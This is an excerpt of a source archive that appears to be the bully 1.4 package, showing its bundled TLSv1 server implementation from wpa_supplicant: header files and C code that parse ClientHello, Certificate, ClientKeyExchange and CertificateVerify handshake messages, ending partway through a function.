int tlsv1_server_set_cipher_list(struct tlsv1_server *conn, u8 *ciphers)
{
size_t count;
u16 *suites;
/* TODO: implement proper configuration of cipher suites */
if (ciphers[0] == TLS_CIPHER_ANON_DH_AES128_SHA) {
count = 0;
suites = conn->cipher_suites;
#ifndef CONFIG_CRYPTO_INTERNAL
suites[count++] = TLS_RSA_WITH_AES_256_CBC_SHA;
#endif /* CONFIG_CRYPTO_INTERNAL */
suites[count++] = TLS_RSA_WITH_AES_128_CBC_SHA;
suites[count++] = TLS_RSA_WITH_3DES_EDE_CBC_SHA;
suites[count++] = TLS_RSA_WITH_RC4_128_SHA;
suites[count++] = TLS_RSA_WITH_RC4_128_MD5;
#ifndef CONFIG_CRYPTO_INTERNAL
suites[count++] = TLS_DH_anon_WITH_AES_256_CBC_SHA;
#endif /* CONFIG_CRYPTO_INTERNAL */
suites[count++] = TLS_DH_anon_WITH_AES_128_CBC_SHA;
suites[count++] = TLS_DH_anon_WITH_3DES_EDE_CBC_SHA;
suites[count++] = TLS_DH_anon_WITH_RC4_128_MD5;
suites[count++] = TLS_DH_anon_WITH_DES_CBC_SHA;
conn->num_cipher_suites = count;
}
return 0;
}
int tlsv1_server_set_verify(struct tlsv1_server *conn, int verify_peer)
{
conn->verify_peer = verify_peer;
return 0;
}
void tlsv1_server_set_session_ticket_cb(struct tlsv1_server *conn,
tlsv1_server_session_ticket_cb cb,
void *ctx)
{
wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback set %p (ctx %p)",
cb, ctx);
conn->session_ticket_cb = cb;
conn->session_ticket_cb_ctx = ctx;
}
bully-1.4-00/src/tls/tlsv1_server.h 0000775 0000000 0000000 00000004003 13615304636 0017132 0 ustar 00root root 0000000 0000000 /*
* TLSv1 server (RFC 2246)
* Copyright (c) 2006-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef TLSV1_SERVER_H
#define TLSV1_SERVER_H
#include "tlsv1_cred.h"
struct tlsv1_server;
int tlsv1_server_global_init(void);
void tlsv1_server_global_deinit(void);
struct tlsv1_server * tlsv1_server_init(struct tlsv1_credentials *cred);
void tlsv1_server_deinit(struct tlsv1_server *conn);
int tlsv1_server_established(struct tlsv1_server *conn);
int tlsv1_server_prf(struct tlsv1_server *conn, const char *label,
int server_random_first, u8 *out, size_t out_len);
u8 * tlsv1_server_handshake(struct tlsv1_server *conn,
const u8 *in_data, size_t in_len, size_t *out_len);
int tlsv1_server_encrypt(struct tlsv1_server *conn,
const u8 *in_data, size_t in_len,
u8 *out_data, size_t out_len);
int tlsv1_server_decrypt(struct tlsv1_server *conn,
const u8 *in_data, size_t in_len,
u8 *out_data, size_t out_len);
int tlsv1_server_get_cipher(struct tlsv1_server *conn, char *buf,
size_t buflen);
int tlsv1_server_shutdown(struct tlsv1_server *conn);
int tlsv1_server_resumed(struct tlsv1_server *conn);
int tlsv1_server_get_keys(struct tlsv1_server *conn, struct tls_keys *keys);
int tlsv1_server_get_keyblock_size(struct tlsv1_server *conn);
int tlsv1_server_set_cipher_list(struct tlsv1_server *conn, u8 *ciphers);
int tlsv1_server_set_verify(struct tlsv1_server *conn, int verify_peer);
typedef int (*tlsv1_server_session_ticket_cb)
(void *ctx, const u8 *ticket, size_t len, const u8 *client_random,
const u8 *server_random, u8 *master_secret);
void tlsv1_server_set_session_ticket_cb(struct tlsv1_server *conn,
tlsv1_server_session_ticket_cb cb,
void *ctx);
#endif /* TLSV1_SERVER_H */
bully-1.4-00/src/tls/tlsv1_server_i.h 0000775 0000000 0000000 00000004010 13615304636 0017440 0 ustar 00root root 0000000 0000000 /*
* TLSv1 server - internal structures
* Copyright (c) 2006-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef TLSV1_SERVER_I_H
#define TLSV1_SERVER_I_H
struct tlsv1_server {
enum {
CLIENT_HELLO, SERVER_HELLO, SERVER_CERTIFICATE,
SERVER_KEY_EXCHANGE, SERVER_CERTIFICATE_REQUEST,
SERVER_HELLO_DONE, CLIENT_CERTIFICATE, CLIENT_KEY_EXCHANGE,
CERTIFICATE_VERIFY, CHANGE_CIPHER_SPEC, CLIENT_FINISHED,
SERVER_CHANGE_CIPHER_SPEC, SERVER_FINISHED,
ESTABLISHED, FAILED
} state;
struct tlsv1_record_layer rl;
u8 session_id[TLS_SESSION_ID_MAX_LEN];
size_t session_id_len;
u8 client_random[TLS_RANDOM_LEN];
u8 server_random[TLS_RANDOM_LEN];
u8 master_secret[TLS_MASTER_SECRET_LEN];
u8 alert_level;
u8 alert_description;
struct crypto_public_key *client_rsa_key;
struct tls_verify_hash verify;
#define MAX_CIPHER_COUNT 30
u16 cipher_suites[MAX_CIPHER_COUNT];
size_t num_cipher_suites;
u16 cipher_suite;
struct tlsv1_credentials *cred;
int verify_peer;
u16 client_version;
u8 *session_ticket;
size_t session_ticket_len;
tlsv1_server_session_ticket_cb session_ticket_cb;
void *session_ticket_cb_ctx;
int use_session_ticket;
u8 *dh_secret;
size_t dh_secret_len;
};
void tlsv1_server_alert(struct tlsv1_server *conn, u8 level, u8 description);
int tlsv1_server_derive_keys(struct tlsv1_server *conn,
const u8 *pre_master_secret,
size_t pre_master_secret_len);
u8 * tlsv1_server_handshake_write(struct tlsv1_server *conn, size_t *out_len);
u8 * tlsv1_server_send_alert(struct tlsv1_server *conn, u8 level,
u8 description, size_t *out_len);
int tlsv1_server_process_handshake(struct tlsv1_server *conn, u8 ct,
const u8 *buf, size_t *len);
#endif /* TLSV1_SERVER_I_H */
bully-1.4-00/src/tls/tlsv1_server_read.c 0000775 0000000 0000000 00000071257 13615304636 0020137 0 ustar 00root root 0000000 0000000 /*
* TLSv1 server - read handshake message
* Copyright (c) 2006-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto/md5.h"
#include "crypto/sha1.h"
#include "crypto/tls.h"
#include "x509v3.h"
#include "tlsv1_common.h"
#include "tlsv1_record.h"
#include "tlsv1_server.h"
#include "tlsv1_server_i.h"
static int tls_process_client_key_exchange(struct tlsv1_server *conn, u8 ct,
const u8 *in_data, size_t *in_len);
static int tls_process_change_cipher_spec(struct tlsv1_server *conn,
u8 ct, const u8 *in_data,
size_t *in_len);
static int tls_process_client_hello(struct tlsv1_server *conn, u8 ct,
const u8 *in_data, size_t *in_len)
{
const u8 *pos, *end, *c;
size_t left, len, i, j;
u16 cipher_suite;
u16 num_suites;
int compr_null_found;
u16 ext_type, ext_len;
if (ct != TLS_CONTENT_TYPE_HANDSHAKE) {
wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; "
"received content type 0x%x", ct);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
pos = in_data;
left = *in_len;
if (left < 4)
goto decode_error;
/* HandshakeType msg_type */
if (*pos != TLS_HANDSHAKE_TYPE_CLIENT_HELLO) {
wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake "
"message %d (expected ClientHello)", *pos);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
wpa_printf(MSG_DEBUG, "TLSv1: Received ClientHello");
pos++;
/* uint24 length */
len = WPA_GET_BE24(pos);
pos += 3;
left -= 4;
if (len > left)
goto decode_error;
/* body - ClientHello */
wpa_hexdump(MSG_MSGDUMP, "TLSv1: ClientHello", pos, len);
end = pos + len;
/* ProtocolVersion client_version */
if (end - pos < 2)
goto decode_error;
conn->client_version = WPA_GET_BE16(pos);
wpa_printf(MSG_DEBUG, "TLSv1: Client version %d.%d",
conn->client_version >> 8, conn->client_version & 0xff);
if (conn->client_version < TLS_VERSION) {
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected protocol version in "
"ClientHello");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_PROTOCOL_VERSION);
return -1;
}
pos += 2;
/* Random random */
if (end - pos < TLS_RANDOM_LEN)
goto decode_error;
os_memcpy(conn->client_random, pos, TLS_RANDOM_LEN);
pos += TLS_RANDOM_LEN;
wpa_hexdump(MSG_MSGDUMP, "TLSv1: client_random",
conn->client_random, TLS_RANDOM_LEN);
/* SessionID session_id */
if (end - pos < 1)
goto decode_error;
if (end - pos < 1 + *pos || *pos > TLS_SESSION_ID_MAX_LEN)
goto decode_error;
wpa_hexdump(MSG_MSGDUMP, "TLSv1: client session_id", pos + 1, *pos);
pos += 1 + *pos;
/* TODO: add support for session resumption */
/* CipherSuite cipher_suites<2..2^16-1> */
if (end - pos < 2)
goto decode_error;
num_suites = WPA_GET_BE16(pos);
pos += 2;
if (end - pos < num_suites)
goto decode_error;
wpa_hexdump(MSG_MSGDUMP, "TLSv1: client cipher suites",
pos, num_suites);
if (num_suites & 1)
goto decode_error;
num_suites /= 2;
cipher_suite = 0;
for (i = 0; !cipher_suite && i < conn->num_cipher_suites; i++) {
c = pos;
for (j = 0; j < num_suites; j++) {
u16 tmp = WPA_GET_BE16(c);
c += 2;
if (!cipher_suite && tmp == conn->cipher_suites[i]) {
cipher_suite = tmp;
break;
}
}
}
pos += num_suites * 2;
if (!cipher_suite) {
wpa_printf(MSG_INFO, "TLSv1: No supported cipher suite "
"available");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_ILLEGAL_PARAMETER);
return -1;
}
if (tlsv1_record_set_cipher_suite(&conn->rl, cipher_suite) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to set CipherSuite for "
"record layer");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
conn->cipher_suite = cipher_suite;
/* CompressionMethod compression_methods<1..2^8-1> */
if (end - pos < 1)
goto decode_error;
num_suites = *pos++;
if (end - pos < num_suites)
goto decode_error;
wpa_hexdump(MSG_MSGDUMP, "TLSv1: client compression_methods",
pos, num_suites);
compr_null_found = 0;
for (i = 0; i < num_suites; i++) {
if (*pos++ == TLS_COMPRESSION_NULL)
compr_null_found = 1;
}
if (!compr_null_found) {
wpa_printf(MSG_INFO, "TLSv1: Client does not accept NULL "
"compression");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_ILLEGAL_PARAMETER);
return -1;
}
if (end - pos == 1) {
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected extra octet in the "
"end of ClientHello: 0x%02x", *pos);
goto decode_error;
}
if (end - pos >= 2) {
/* Extension client_hello_extension_list<0..2^16-1> */
ext_len = WPA_GET_BE16(pos);
pos += 2;
wpa_printf(MSG_DEBUG, "TLSv1: %u bytes of ClientHello "
"extensions", ext_len);
if (end - pos != ext_len) {
wpa_printf(MSG_DEBUG, "TLSv1: Invalid ClientHello "
"extension list length %u (expected %u)",
ext_len, (unsigned int) (end - pos));
goto decode_error;
}
/*
* struct {
* ExtensionType extension_type (0..65535)
* opaque extension_data<0..2^16-1>
* } Extension;
*/
while (pos < end) {
if (end - pos < 2) {
wpa_printf(MSG_DEBUG, "TLSv1: Invalid "
"extension_type field");
goto decode_error;
}
ext_type = WPA_GET_BE16(pos);
pos += 2;
if (end - pos < 2) {
wpa_printf(MSG_DEBUG, "TLSv1: Invalid "
"extension_data length field");
goto decode_error;
}
ext_len = WPA_GET_BE16(pos);
pos += 2;
if (end - pos < ext_len) {
wpa_printf(MSG_DEBUG, "TLSv1: Invalid "
"extension_data field");
goto decode_error;
}
wpa_printf(MSG_DEBUG, "TLSv1: ClientHello Extension "
"type %u", ext_type);
wpa_hexdump(MSG_MSGDUMP, "TLSv1: ClientHello "
"Extension data", pos, ext_len);
if (ext_type == TLS_EXT_SESSION_TICKET) {
os_free(conn->session_ticket);
conn->session_ticket = os_malloc(ext_len);
if (conn->session_ticket) {
os_memcpy(conn->session_ticket, pos,
ext_len);
conn->session_ticket_len = ext_len;
}
}
pos += ext_len;
}
}
*in_len = end - in_data;
wpa_printf(MSG_DEBUG, "TLSv1: ClientHello OK - proceed to "
"ServerHello");
conn->state = SERVER_HELLO;
return 0;
decode_error:
wpa_printf(MSG_DEBUG, "TLSv1: Failed to decode ClientHello");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
static int tls_process_certificate(struct tlsv1_server *conn, u8 ct,
const u8 *in_data, size_t *in_len)
{
const u8 *pos, *end;
size_t left, len, list_len, cert_len, idx;
u8 type;
struct x509_certificate *chain = NULL, *last = NULL, *cert;
int reason;
if (ct != TLS_CONTENT_TYPE_HANDSHAKE) {
wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; "
"received content type 0x%x", ct);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
pos = in_data;
left = *in_len;
if (left < 4) {
wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate message "
"(len=%lu)", (unsigned long) left);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
type = *pos++;
len = WPA_GET_BE24(pos);
pos += 3;
left -= 4;
if (len > left) {
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected Certificate message "
"length (len=%lu != left=%lu)",
(unsigned long) len, (unsigned long) left);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
if (type == TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE) {
if (conn->verify_peer) {
wpa_printf(MSG_DEBUG, "TLSv1: Client did not include "
"Certificate");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
return tls_process_client_key_exchange(conn, ct, in_data,
in_len);
}
if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE) {
wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake "
"message %d (expected Certificate/"
"ClientKeyExchange)", type);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
wpa_printf(MSG_DEBUG,
"TLSv1: Received Certificate (certificate_list len %lu)",
(unsigned long) len);
/*
* opaque ASN.1Cert<2^24-1>;
*
* struct {
* ASN.1Cert certificate_list<1..2^24-1>;
* } Certificate;
*/
end = pos + len;
if (end - pos < 3) {
wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate "
"(left=%lu)", (unsigned long) left);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
list_len = WPA_GET_BE24(pos);
pos += 3;
if ((size_t) (end - pos) != list_len) {
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate_list "
"length (len=%lu left=%lu)",
(unsigned long) list_len,
(unsigned long) (end - pos));
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
idx = 0;
while (pos < end) {
if (end - pos < 3) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse "
"certificate_list");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
x509_certificate_chain_free(chain);
return -1;
}
cert_len = WPA_GET_BE24(pos);
pos += 3;
if ((size_t) (end - pos) < cert_len) {
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate "
"length (len=%lu left=%lu)",
(unsigned long) cert_len,
(unsigned long) (end - pos));
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
x509_certificate_chain_free(chain);
return -1;
}
wpa_printf(MSG_DEBUG, "TLSv1: Certificate %lu (len %lu)",
(unsigned long) idx, (unsigned long) cert_len);
if (idx == 0) {
crypto_public_key_free(conn->client_rsa_key);
if (tls_parse_cert(pos, cert_len,
&conn->client_rsa_key)) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse "
"the certificate");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_BAD_CERTIFICATE);
x509_certificate_chain_free(chain);
return -1;
}
}
cert = x509_certificate_parse(pos, cert_len);
if (cert == NULL) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse "
"the certificate");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_BAD_CERTIFICATE);
x509_certificate_chain_free(chain);
return -1;
}
if (last == NULL)
chain = cert;
else
last->next = cert;
last = cert;
idx++;
pos += cert_len;
}
if (x509_certificate_chain_validate(conn->cred->trusted_certs, chain,
&reason) < 0) {
int tls_reason;
wpa_printf(MSG_DEBUG, "TLSv1: Server certificate chain "
"validation failed (reason=%d)", reason);
switch (reason) {
case X509_VALIDATE_BAD_CERTIFICATE:
tls_reason = TLS_ALERT_BAD_CERTIFICATE;
break;
case X509_VALIDATE_UNSUPPORTED_CERTIFICATE:
tls_reason = TLS_ALERT_UNSUPPORTED_CERTIFICATE;
break;
case X509_VALIDATE_CERTIFICATE_REVOKED:
tls_reason = TLS_ALERT_CERTIFICATE_REVOKED;
break;
case X509_VALIDATE_CERTIFICATE_EXPIRED:
tls_reason = TLS_ALERT_CERTIFICATE_EXPIRED;
break;
case X509_VALIDATE_CERTIFICATE_UNKNOWN:
tls_reason = TLS_ALERT_CERTIFICATE_UNKNOWN;
break;
case X509_VALIDATE_UNKNOWN_CA:
tls_reason = TLS_ALERT_UNKNOWN_CA;
break;
default:
tls_reason = TLS_ALERT_BAD_CERTIFICATE;
break;
}
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, tls_reason);
x509_certificate_chain_free(chain);
return -1;
}
x509_certificate_chain_free(chain);
*in_len = end - in_data;
conn->state = CLIENT_KEY_EXCHANGE;
return 0;
}
static int tls_process_client_key_exchange_rsa(
struct tlsv1_server *conn, const u8 *pos, const u8 *end)
{
u8 *out;
size_t outlen, outbuflen;
u16 encr_len;
int res;
int use_random = 0;
if (end - pos < 2) {
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
encr_len = WPA_GET_BE16(pos);
pos += 2;
outbuflen = outlen = end - pos;
out = os_malloc(outlen >= TLS_PRE_MASTER_SECRET_LEN ?
outlen : TLS_PRE_MASTER_SECRET_LEN);
if (out == NULL) {
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
/*
* struct {
* ProtocolVersion client_version;
* opaque random[46];
* } PreMasterSecret;
*
* struct {
* public-key-encrypted PreMasterSecret pre_master_secret;
* } EncryptedPreMasterSecret;
*/
/*
* Note: To avoid Bleichenbacher attack, we do not report decryption or
* parsing errors from EncryptedPreMasterSecret processing to the
* client. Instead, a random pre-master secret is used to force the
* handshake to fail.
*/
if (crypto_private_key_decrypt_pkcs1_v15(conn->cred->key,
pos, end - pos,
out, &outlen) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to decrypt "
"PreMasterSecret (encr_len=%d outlen=%lu)",
(int) (end - pos), (unsigned long) outlen);
use_random = 1;
}
if (outlen != TLS_PRE_MASTER_SECRET_LEN) {
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected PreMasterSecret "
"length %lu", (unsigned long) outlen);
use_random = 1;
}
if (WPA_GET_BE16(out) != conn->client_version) {
wpa_printf(MSG_DEBUG, "TLSv1: Client version in "
"ClientKeyExchange does not match with version in "
"ClientHello");
use_random = 1;
}
if (use_random) {
wpa_printf(MSG_DEBUG, "TLSv1: Using random premaster secret "
"to avoid revealing information about private key");
outlen = TLS_PRE_MASTER_SECRET_LEN;
if (os_get_random(out, outlen)) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to get random "
"data");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
os_free(out);
return -1;
}
}
res = tlsv1_server_derive_keys(conn, out, outlen);
/* Clear the pre-master secret since it is not needed anymore */
os_memset(out, 0, outbuflen);
os_free(out);
if (res) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
return 0;
}
static int tls_process_client_key_exchange_dh_anon(
struct tlsv1_server *conn, const u8 *pos, const u8 *end)
{
const u8 *dh_yc;
u16 dh_yc_len;
u8 *shared;
size_t shared_len;
int res;
/*
* struct {
* select (PublicValueEncoding) {
* case implicit: struct { };
* case explicit: opaque dh_Yc<1..2^16-1>;
* } dh_public;
* } ClientDiffieHellmanPublic;
*/
wpa_hexdump(MSG_MSGDUMP, "TLSv1: ClientDiffieHellmanPublic",
pos, end - pos);
if (end == pos) {
wpa_printf(MSG_DEBUG, "TLSv1: Implicit public value encoding "
"not supported");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
if (end - pos < 3) {
wpa_printf(MSG_DEBUG, "TLSv1: Invalid client public value "
"length");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
dh_yc_len = WPA_GET_BE16(pos);
dh_yc = pos + 2;
if (dh_yc + dh_yc_len > end) {
wpa_printf(MSG_DEBUG, "TLSv1: Client public value overflow "
"(length %d)", dh_yc_len);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
wpa_hexdump(MSG_DEBUG, "TLSv1: DH Yc (client's public value)",
dh_yc, dh_yc_len);
if (conn->cred == NULL || conn->cred->dh_p == NULL ||
conn->dh_secret == NULL) {
wpa_printf(MSG_DEBUG, "TLSv1: No DH parameters available");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
shared_len = conn->cred->dh_p_len;
shared = os_malloc(shared_len);
if (shared == NULL) {
wpa_printf(MSG_DEBUG, "TLSv1: Could not allocate memory for "
"DH");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
/* shared = Yc^secret mod p */
if (crypto_mod_exp(dh_yc, dh_yc_len, conn->dh_secret,
conn->dh_secret_len,
conn->cred->dh_p, conn->cred->dh_p_len,
shared, &shared_len)) {
os_free(shared);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
wpa_hexdump_key(MSG_DEBUG, "TLSv1: Shared secret from DH key exchange",
shared, shared_len);
os_memset(conn->dh_secret, 0, conn->dh_secret_len);
os_free(conn->dh_secret);
conn->dh_secret = NULL;
res = tlsv1_server_derive_keys(conn, shared, shared_len);
/* Clear the pre-master secret since it is not needed anymore */
os_memset(shared, 0, shared_len);
os_free(shared);
if (res) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
return 0;
}
static int tls_process_client_key_exchange(struct tlsv1_server *conn, u8 ct,
const u8 *in_data, size_t *in_len)
{
const u8 *pos, *end;
size_t left, len;
u8 type;
tls_key_exchange keyx;
const struct tls_cipher_suite *suite;
if (ct != TLS_CONTENT_TYPE_HANDSHAKE) {
wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; "
"received content type 0x%x", ct);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
pos = in_data;
left = *in_len;
if (left < 4) {
wpa_printf(MSG_DEBUG, "TLSv1: Too short ClientKeyExchange "
"(Left=%lu)", (unsigned long) left);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
type = *pos++;
len = WPA_GET_BE24(pos);
pos += 3;
left -= 4;
if (len > left) {
wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in ClientKeyExchange "
"length (len=%lu != left=%lu)",
(unsigned long) len, (unsigned long) left);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
end = pos + len;
if (type != TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE) {
wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake "
"message %d (expected ClientKeyExchange)", type);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
wpa_printf(MSG_DEBUG, "TLSv1: Received ClientKeyExchange");
wpa_hexdump(MSG_DEBUG, "TLSv1: ClientKeyExchange", pos, len);
suite = tls_get_cipher_suite(conn->rl.cipher_suite);
if (suite == NULL)
keyx = TLS_KEY_X_NULL;
else
keyx = suite->key_exchange;
if (keyx == TLS_KEY_X_DH_anon &&
tls_process_client_key_exchange_dh_anon(conn, pos, end) < 0)
return -1;
if (keyx != TLS_KEY_X_DH_anon &&
tls_process_client_key_exchange_rsa(conn, pos, end) < 0)
return -1;
*in_len = end - in_data;
conn->state = CERTIFICATE_VERIFY;
return 0;
}
static int tls_process_certificate_verify(struct tlsv1_server *conn, u8 ct,
const u8 *in_data, size_t *in_len)
{
const u8 *pos, *end;
size_t left, len;
u8 type;
size_t hlen, buflen;
u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN], *hpos, *buf;
enum { SIGN_ALG_RSA, SIGN_ALG_DSA } alg = SIGN_ALG_RSA;
u16 slen;
if (ct == TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC) {
if (conn->verify_peer) {
wpa_printf(MSG_DEBUG, "TLSv1: Client did not include "
"CertificateVerify");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
return tls_process_change_cipher_spec(conn, ct, in_data,
in_len);
}
if (ct != TLS_CONTENT_TYPE_HANDSHAKE) {
wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; "
"received content type 0x%x", ct);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
pos = in_data;
left = *in_len;
if (left < 4) {
wpa_printf(MSG_DEBUG, "TLSv1: Too short CertificateVerify "
"message (len=%lu)", (unsigned long) left);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
type = *pos++;
len = WPA_GET_BE24(pos);
pos += 3;
left -= 4;
if (len > left) {
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected CertificateVerify "
"message length (len=%lu != left=%lu)",
(unsigned long) len, (unsigned long) left);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
end = pos + len;
if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE_VERIFY) {
wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake "
"message %d (expected CertificateVerify)", type);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
wpa_printf(MSG_DEBUG, "TLSv1: Received CertificateVerify");
/*
* struct {
* Signature signature;
* } CertificateVerify;
*/
hpos = hash;
if (alg == SIGN_ALG_RSA) {
hlen = MD5_MAC_LEN;
if (conn->verify.md5_cert == NULL ||
crypto_hash_finish(conn->verify.md5_cert, hpos, &hlen) < 0)
{
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
conn->verify.md5_cert = NULL;
crypto_hash_finish(conn->verify.sha1_cert, NULL, NULL);
conn->verify.sha1_cert = NULL;
return -1;
}
hpos += MD5_MAC_LEN;
} else
crypto_hash_finish(conn->verify.md5_cert, NULL, NULL);
conn->verify.md5_cert = NULL;
hlen = SHA1_MAC_LEN;
if (conn->verify.sha1_cert == NULL ||
crypto_hash_finish(conn->verify.sha1_cert, hpos, &hlen) < 0) {
conn->verify.sha1_cert = NULL;
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
conn->verify.sha1_cert = NULL;
if (alg == SIGN_ALG_RSA)
hlen += MD5_MAC_LEN;
wpa_hexdump(MSG_MSGDUMP, "TLSv1: CertificateVerify hash", hash, hlen);
if (end - pos < 2) {
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
slen = WPA_GET_BE16(pos);
pos += 2;
if (end - pos < slen) {
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
wpa_hexdump(MSG_MSGDUMP, "TLSv1: Signature", pos, end - pos);
if (conn->client_rsa_key == NULL) {
wpa_printf(MSG_DEBUG, "TLSv1: No client public key to verify "
